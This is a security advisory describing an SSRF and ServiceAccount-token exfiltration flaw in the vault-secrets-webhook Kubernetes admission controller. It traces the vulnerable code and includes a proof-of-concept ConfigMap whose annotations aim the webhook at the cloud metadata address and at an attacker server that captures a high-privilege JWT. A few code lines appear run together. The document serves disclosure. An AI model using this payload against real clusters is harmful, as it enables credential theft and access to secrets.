OSV 1.4.0 · github-reviewed · 修改于 2026-08-01 01:45
发布时间
2026-08-01 01:45
GitHub 审查时间
2026-08-01 01:45
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/07/GHSA-r2v3-8gwf-7ghm/GHSA-r2v3-8gwf-7ghm.json
The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.
parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:
if value, ok := annotations[common.VaultAddrAnnotation]; ok {
vaultConfig.Addr = value
}
No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.
MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:
clientConfig.Address = vaultConfig.Addr
vault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.
The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.
When VaultServiceaccountAnnotation is also set, at :
pkg/webhook/webhook.gomw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
ctx, saName, &tokenRequest, metav1.CreateOptions{})
The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.
Create a ConfigMap in any watched namespace:
apiVersion: v1
kind: ConfigMap
metadata:
name: ssrf-poc
namespace: tenant-ns
annotations:
vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
vault.security.banzaicloud.io/vault-skip-verify: "true"
vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
secret-key: "vault:secret/data/test#value"
When this ConfigMap is created, the vault-secrets-webhook admission handler:
vault-addr: http://169.254.169.254/latest/meta-data/CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...) using cluster-wide serviceaccounts/token:createvault.NewClientFromConfigWithContext which POSTs the JWT to http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/loginFor the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.
A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:
The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.